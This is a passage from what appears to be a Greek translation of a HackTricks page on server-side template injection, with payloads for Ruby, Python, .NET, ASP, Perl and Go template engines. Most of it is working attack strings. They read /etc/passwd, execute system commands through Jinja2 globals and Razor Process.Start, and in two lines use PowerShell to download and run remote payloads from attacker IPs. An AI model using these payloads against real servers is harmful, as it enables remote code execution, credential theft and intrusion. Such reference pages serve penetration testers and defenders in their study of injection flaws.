
  • <%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Περισσότερες πληροφορίες

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

Περισσότερες πληροφορίες

Python

Ρίξτε μια ματιά στην παρακάτω σελίδα για να μάθετε κόλπα σχετικά με την αυθαίρετη εκτέλεση εντολών παρακάμπτοντας τις αμμοθυρίδες στην Python:

pageBypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}





{{os.system('whoami')}}
{{os.system('whoami')}}

Περισσότερες πληροφορίες

Jinja2 (Python)

Επίσημη ιστοσελίδα

Το Jinja2 είναι ένα πλήρως λειτουργικό σύστημα προτύπων για τη γλώσσα προγραμματισμού Python. Διαθέτει πλήρη υποστήριξη Unicode, προαιρετικό ολοκληρωμένο περιβάλλον εκτέλεσης με αμμόχωση, ευρεία χρήση και άδεια BSD.

  • {{7*7}} = Σφάλμα

  • ${7*7} = ${7*7}

  • {{foobar}} Τίποτα

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}





{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Μορφή προτύπου

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE δεν εξαρτάται από __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja:

pageJinja2 SSTI

Άλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Περισσότερες πληροφορίες

Razor (.Net)

  • @(2+2) <= Επιτυχία

  • @() <= Επιτυχία

  • @("{{code}}") <= Επιτυχία

  • @ <= Επιτυχία

  • @{} <= ΣΦΑΛΜΑ!

  • @{ <= ΣΦΑΛΜΑ!

  • @(1+2)

  • @( //ΚώδικαςC# )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Η μέθοδος .NET System.Diagnostics.Process.Start μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διεργασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευπαθούς webapp στο https://github.com/cnotin/RazorVulnerableApp

Περισσότερες πληροφορίες

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Τίποτα

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Περισσότερες Πληροφορίες

Mojolicious (Perl)

Ακόμα κι αν είναι perl χρησιμοποιεί ετικέτες όπως το ERB στη Ruby.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Σφάλμα

<%= perl code %>
<% perl code %>

SSTI στο GO

Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα φορτία:

  • {{ . }}: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περάσει ένα αντικείμενο με ένα χαρακτηριστικό Password, το {{ .Password }} θα μπορούσε να το αποκαλύψει.

  • {{printf "%s" "ssti" }}: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: Αυτά τα φορτία θα πρέπει να επιστρέψουν "ssti" χωρίς να προσθέσουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.

Εκμετάλλευση XSS

Με το πακέτο text/template, το XSS μπορεί να είναι απλό εισάγοντας το φορτίο απευθείας. Αντίθετα, το πακέτο html/template κωδικοποιεί την απόκριση για να το αποτρέψει αυτό (π.χ., {{"<script>alert(1)</script>"}} οδηγεί σε &lt;script&gt;alert(1)&lt;/script&gt;). Ωστόσο, ορισμός προτύπου και κλήση στο Go μπορεί να παρακάμψει αυτήν την κωδικοποίηση: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Εκμετάλλευση RCE

Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template και text/template. Το πρόσθετο text/template επιτρέπει την κλήση οποιασδήποτε δημόσιας συνάρτησης απευθείας (χρησιμοποιώντας την τιμή "call"), που δεν επιτρέπεται στο html/template. Η τεκμηρίωση για αυτά τα πρόσθετα είναι διαθέσιμη εδώ για το html/template και εδώ για το text/template.

Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένου. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο System που εκτελεί εντολές, μπορεί να εκμεταλλευτεί ως {{ .System "ls" }}. Συνήθως είναι απαραίτητη η πρόσβαση στον πηγαίο κώδικα για να εκμεταλλευτεί αυτό, όπως στο δεδομένο παράδειγμα:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Περισσότερες πληροφορίες

Περισσότερες Εκμεταλλεύσεις

Ελέγξτε το υπόλοιπο του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες ετικετών στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Σχετική Βοήθεια

Αν πιστεύετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:

Εργαλεία

Λίστα Ανίχνευσης Βίας

Πρακτική & Αναφορές

​​​RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν ζωντανό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.

Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated